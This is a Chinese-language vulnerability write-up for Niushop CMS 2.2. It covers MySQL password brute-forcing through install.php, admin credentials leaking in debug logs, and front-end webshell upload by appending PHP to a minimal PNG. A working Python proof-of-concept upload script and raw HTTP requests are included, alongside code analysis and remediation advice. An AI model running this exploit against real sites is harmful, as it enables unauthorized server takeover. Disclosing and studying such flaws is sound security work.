某CMS最新版本测试全过程(前台Getshell)
字数 1418 2025-08-29 08:31:41
某CMS最新版本测试全过程(前台Getshell)教学文档
0x00 环境准备
测试环境
- 操作系统:MacOS 10.14
- 工具:
- MAMP Pro (本地服务器环境)
- BurpSuite (抓包和测试工具)
- FileMonitor (文件监控工具)
目标系统
- CMS名称:牛商CMS
- 版本:单商户2.2版
- 下载地址:http://www.niushop.com.cn/download.html
0x01 安装测试
安装过程分析
- 使用FileMonitor监控安装过程中的文件变化
- 每个安装步骤的数据包都通过BurpSuite的Repeater保存一份
- 重点关注安装过程中的关键数据包
发现漏洞:MySQL密码爆破
- 漏洞位置:install.php
- 漏洞原理:在判断install.lock文件是否存在之前就进行数据库验证,不受install.lock的影响
- POC:
GET /install.php?action=true&dbserver=127.0.0.1&dbpassword=yourpassword&dbusername=root&dbname=niushop_b2c HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/install.php?refresh
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: action=db
- 返回值:
- 密码正确返回1
- 密码错误返回0
0x02 后台测试
后台登录测试
- 将登录数据包发送到Repeater进行多次发送
- 测试验证码等限制
- 确认后台登录可爆破
发现漏洞:敏感日志泄露
- 日志路径:
/runtime/log/年月/日.log- 示例:
http://host.com/runtime/log/201901/03.log
- 示例:
- 泄露内容:管理登录账号密码
- 原因:app_debug模式默认为true,会写出调试日志
- 修复建议:将app_debug修改为false
文件上传测试
- 尝试直接上传php文件 - 失败
- 尝试修改图片为php上传 - 失败
- 上传正常图片后修改数据包 - 成功
发现漏洞:前台Getshell
-
利用方法:
- 使用Photoshop生成一张尺寸最小的图片(约64个字节)
- 将php文件追加到图片后面
- Windows:
type phpinfo.php >> poc.png - MacOS/Linux:
cat phpinfo.php >> poc.png
- 上传修改后的文件
-
关键点:
- 后台没有后缀限制
- 上传成功后的新文件后缀是从源文件中取出的,导致后缀可控
- 即使删除Cookie也可继续上传
- 文件以hash命名,但可通过日志泄露查找shell地址
0x03 代码分析
MySQL密码爆破漏洞代码
位于install.php第38到62行:
if($_GET['action']){
$dbserver = $_GET['dbserver'];
$dbusername = $_GET['dbusername'];
$dbpassword = $_GET['dbpassword'];
$dbname = $_GET['dbname'];
$link = mysql_connect($dbserver, $dbusername, $dbpassword);
$query = mysql_query("SHOW DATABASES LIKE '{$dbname}'");
var_dump($query);
if(mysql_fetch_assoc($query) != false){
echo 1;
exit();
}else{
echo 0;
exit();
}
}
敏感日志泄露代码
位于application/admin/controller/index.php第40到68行:
public function index() {
$debug = config('app_debug') == true ? '开发者模式' : '部署模式';
$this->assign('debug', $debug);
// ...其他代码...
}
前台Getshell代码
位于application/admin/controller/Upload.php第556到568行:
// 验证文件
if (! $this->validationFile()) {
return $this->ajaxFileReturn();
}
$guid = time();
$file_name_explode = explode(".", $this->file_name);
// 图片名称
$suffix = count($file_name_explode) - 1;
$ext = $file_name_explode[$suffix]; // 获取后缀名
// 获取原文件名
$tmp_array = $file_name_explode;
unset($tmp_array[$suffix]);
$file_new_name = implode(".", $tmp_array);
$newfile = md5($file_new_name . $guid) . '.' . $ext;
0x04 POC编写
Python POC
import requests
session = requests.Session()
paramsGet = {"s":"/wap/upload/photoalbumupload"}
paramsPost = {"file_path":"upload/goods/","album_id":"30","type":"1,2,3,4"}
paramsMultipart = [('file_upload', ('themin.php', "\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00\x1f\x15\xc4\x89\x00\x00\x00\x0bIDAT\x08\x99c\xf8\x0f\x04\x00\x09\xfb\x03\xfd\xe3U\xf2\x9c\x00\x00\x00\x00IEND\xaeB`\x82<?php phpinfo();?>", 'application/octet-stream'))]
headers = {"Accept":"application/json, text/javascript, */*; q=0.01","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0","Referer":"http://127.0.0.1/index.php?s=/admin/goods/addgoods","Connection":"close","Accept-Language":"en","Accept-Encoding":"gzip, deflate"}
cookies = {"action":"finish"}
response = session.post("http://127.0.0.1/index.php", data=paramsPost, files=paramsMultipart, params=paramsGet, headers=headers, cookies=cookies)
print("Status code: %i" % response.status_code)
print("Response body: %s" % response.content)
使用技巧
- 将POC中的127.0.0.1替换为目标地址
- 可以使用Burp插件
scriptgen-burp-plugin-6.jar快速生成POC
0x05 修复建议
-
MySQL密码爆破:
- 调整install.php代码位置,先检查install.lock文件
- 或直接删除install.php文件
-
敏感日志泄露:
- 将app_debug修改为false
- 限制日志目录的访问权限
-
前台Getshell:
- 严格限制上传文件的后缀名
- 检查文件内容而不仅仅是文件头
- 对上传文件进行重命名时固定安全后缀
-
通用建议:
- 加强安装过程的验证机制
- 对敏感操作增加权限验证
- 定期进行安全审计